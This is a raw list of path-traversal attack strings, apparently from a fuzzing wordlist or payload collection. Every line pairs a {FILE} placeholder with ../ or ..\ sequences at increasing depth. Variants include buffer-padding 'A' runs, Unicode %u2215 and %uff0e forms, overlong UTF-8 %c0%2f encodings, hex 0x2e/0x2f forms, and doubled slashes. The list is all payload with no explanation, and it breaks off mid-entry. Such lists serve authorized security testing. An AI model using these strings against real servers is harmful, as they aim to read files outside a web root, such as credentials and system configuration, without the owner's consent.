AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\..\{FILE}<br /> .../{FILE}<br /> .../.../{FILE}<br /> .../.../.../{FILE}<br /> .../.../.../.../{FILE}<br /> .../.../.../.../.../{FILE}<br /> .../.../.../.../.../.../{FILE}<br /> .../.../.../.../.../.../.../{FILE}<br /> .../.../.../.../.../.../.../.../{FILE}<br /> ...\{FILE}<br /> ...\...\{FILE}<br /> ...\...\...\{FILE}<br /> ...\...\...\...\{FILE}<br /> ...\...\...\...\...\{FILE}<br /> ...\...\...\...\...\...\{FILE}<br /> ...\...\...\...\...\...\...\{FILE}<br /> ...\...\...\...\...\...\...\...\{FILE}<br /> ..../{FILE}<br /> ..../..../{FILE}<br /> ..../..../..../{FILE}<br /> ..../..../..../..../{FILE}<br /> ..../..../..../..../..../{FILE}<br /> ..../..../..../..../..../..../{FILE}<br /> ..../..../..../..../..../..../..../{FILE}<br /> ..../..../..../..../..../..../..../..../{FILE}<br /> ....\{FILE}<br /> ....\....\{FILE}<br /> ....\....\....\{FILE}<br /> ....\....\....\....\{FILE}<br /> ....\....\....\....\....\{FILE}<br /> ....\....\....\....\....\....\{FILE}<br /> ....\....\....\....\....\....\....\{FILE}<br /> ....\....\....\....\....\....\....\....\{FILE}<br /> ........................................................................../{FILE}<br /> ........................................................................../../{FILE}<br /> ........................................................................../../../{FILE}<br /> ........................................................................../../../../{FILE}<br /> ........................................................................../../../../../{FILE}<br /> ........................................................................../../../../../../{FILE}<br /> ........................................................................../../../../../../../{FILE}<br /> ........................................................................../../../../../../../../{FILE}<br /> ..........................................................................\{FILE}<br /> ..........................................................................\..\{FILE}<br /> ..........................................................................\..\..\{FILE}<br /> ..........................................................................\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\..\..\..\{FILE}<br /> ..%u2215{FILE}<br /> ..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> %uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> ..%u2216{FILE}<br /> ..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uF025{FILE}<br /> ..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> %uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> ..0x2f{FILE}<br /> ..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> 0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> ..0x5c{FILE}<br /> ..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> 0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> ..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> %c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> ..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> %c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> ///%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> \\\%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..//{FILE}<br /> ..//..//{FILE}<br /> ..//..//..//{FILE}<br /> ..//..//..//..//{FILE}<br /> ..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//..//{FILE}<br /> ..///{FILE}<br /> ..///..///{FILE}<br /> ..///..///..///{FILE}<br /> ..///..///..///..///{FILE}<br /> ..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///..///{FILE}<br /> ..\\{FILE}<br /> ..\\..\\{FILE}<br /> 